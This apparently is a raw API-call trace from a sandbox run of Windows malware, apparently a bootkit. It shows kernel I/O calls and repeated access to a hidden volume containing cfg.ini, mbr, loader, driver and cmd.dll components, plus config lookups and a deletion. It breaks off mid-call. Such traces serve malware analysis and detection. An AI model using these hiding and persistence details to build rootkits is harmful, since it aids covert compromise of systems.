_snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.734] KeEnterCriticalRegion () [0127.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.734] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.734] KeLeaveCriticalRegion () [0127.734] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.734] KeEnterCriticalRegion () [0127.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.734] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.734] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.734] KeLeaveCriticalRegion () [0127.734] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.734] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.734] KeEnterCriticalRegion () [0127.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.734] ExFreePoolWithTag (P=0xfffffa8003bfb3c0, Tag=0x0) [0127.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.734] KeLeaveCriticalRegion () [0127.734] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.734] ReleaseMutex (hMutex=0xf0) returned 1 [0127.734] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.734] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.734] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.734] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.734] KeEnterCriticalRegion () [0127.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.734] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.734] IdePortDispatch () returned 0x103 [0127.735] KeWaitForMutexObject () returned 0x0 [0127.735] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.735] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.735] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.735] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.735] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.735] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.735] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.735] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.735] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.735] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.735] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.735] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.735] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.735] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.735] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.735] KeLeaveCriticalRegion () [0127.735] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.735] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.735] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.735] KeEnterCriticalRegion () [0127.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.735] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.735] IdePortDispatch () returned 0x103 [0127.735] KeWaitForMutexObject () returned 0x0 [0127.735] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.736] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.736] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.736] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.736] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.736] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.736] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.736] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.736] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.736] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.736] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.736] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.736] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.736] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.736] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.736] KeLeaveCriticalRegion () [0127.736] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.736] ReleaseMutex (hMutex=0x100) returned 1 [0127.736] Sleep (dwMilliseconds=0x2bf20) [0127.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f56f3b0, dwHighDateTime=0x1d24fa4)) [0127.742] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.742] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.742] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.742] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.742] KeEnterCriticalRegion () [0127.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.742] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.742] IdePortDispatch () returned 0x103 [0127.743] KeWaitForMutexObject () returned 0x0 [0127.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.743] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.743] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.743] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.743] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.743] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcc00 [0127.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.743] KeLeaveCriticalRegion () [0127.743] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.743] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.743] KeEnterCriticalRegion () [0127.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.743] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.743] KeLeaveCriticalRegion () [0127.743] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.743] KeEnterCriticalRegion () [0127.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.743] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.743] IdePortDispatch () returned 0x103 [0127.743] KeWaitForMutexObject () returned 0x0 [0127.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.743] KeLeaveCriticalRegion () [0127.743] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.743] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.744] KeEnterCriticalRegion () [0127.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.744] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b97000 [0127.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.744] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.744] IdePortDispatch () returned 0x103 [0127.744] KeWaitForMutexObject () returned 0x0 [0127.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.744] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.744] IdePortDispatch () returned 0x103 [0127.744] KeWaitForMutexObject () returned 0x0 [0127.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.744] KeLeaveCriticalRegion () [0127.744] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.745] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.745] KeEnterCriticalRegion () [0127.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.745] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.745] KeLeaveCriticalRegion () [0127.745] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.745] KeEnterCriticalRegion () [0127.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.745] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.745] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc520, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.745] KeLeaveCriticalRegion () [0127.745] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.745] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.745] KeEnterCriticalRegion () [0127.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.745] ExFreePoolWithTag (P=0xfffffa8003bfcc00, Tag=0x0) [0127.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.745] KeLeaveCriticalRegion () [0127.745] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.745] ReleaseMutex (hMutex=0xf0) returned 1 [0127.745] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.745] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.745] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.745] KeEnterCriticalRegion () [0127.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.745] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.745] IdePortDispatch () returned 0x103 [0127.745] KeWaitForMutexObject () returned 0x0 [0127.746] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.746] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.746] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.746] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.746] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.746] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc660 [0127.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.746] KeLeaveCriticalRegion () [0127.746] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.746] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.746] KeEnterCriticalRegion () [0127.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.746] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.746] KeLeaveCriticalRegion () [0127.746] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.746] KeEnterCriticalRegion () [0127.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.746] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.746] IdePortDispatch () returned 0x103 [0127.746] KeWaitForMutexObject () returned 0x0 [0127.746] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.746] KeLeaveCriticalRegion () [0127.746] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.746] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.746] KeEnterCriticalRegion () [0127.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.746] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b98000 [0127.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.746] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.747] IdePortDispatch () returned 0x103 [0127.747] KeWaitForMutexObject () returned 0x0 [0127.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.747] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.747] IdePortDispatch () returned 0x103 [0127.747] KeWaitForMutexObject () returned 0x0 [0127.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.747] KeLeaveCriticalRegion () [0127.747] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.747] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.748] KeEnterCriticalRegion () [0127.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.748] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.748] KeLeaveCriticalRegion () [0127.748] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.748] KeEnterCriticalRegion () [0127.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.748] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.748] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.748] KeLeaveCriticalRegion () [0127.748] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.748] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.748] KeEnterCriticalRegion () [0127.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.748] ExFreePoolWithTag (P=0xfffffa8003bfc660, Tag=0x0) [0127.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.748] KeLeaveCriticalRegion () [0127.748] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.748] ReleaseMutex (hMutex=0xf0) returned 1 [0127.748] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.748] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.748] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.748] KeEnterCriticalRegion () [0127.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.748] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.748] IdePortDispatch () returned 0x103 [0127.748] KeWaitForMutexObject () returned 0x0 [0127.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.748] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.748] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.748] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.748] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.748] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcd00 [0127.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.749] KeLeaveCriticalRegion () [0127.749] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.749] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.749] KeEnterCriticalRegion () [0127.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.749] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.749] KeLeaveCriticalRegion () [0127.749] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.749] KeEnterCriticalRegion () [0127.749] ExAcquireFastMutexUnsafe (in: 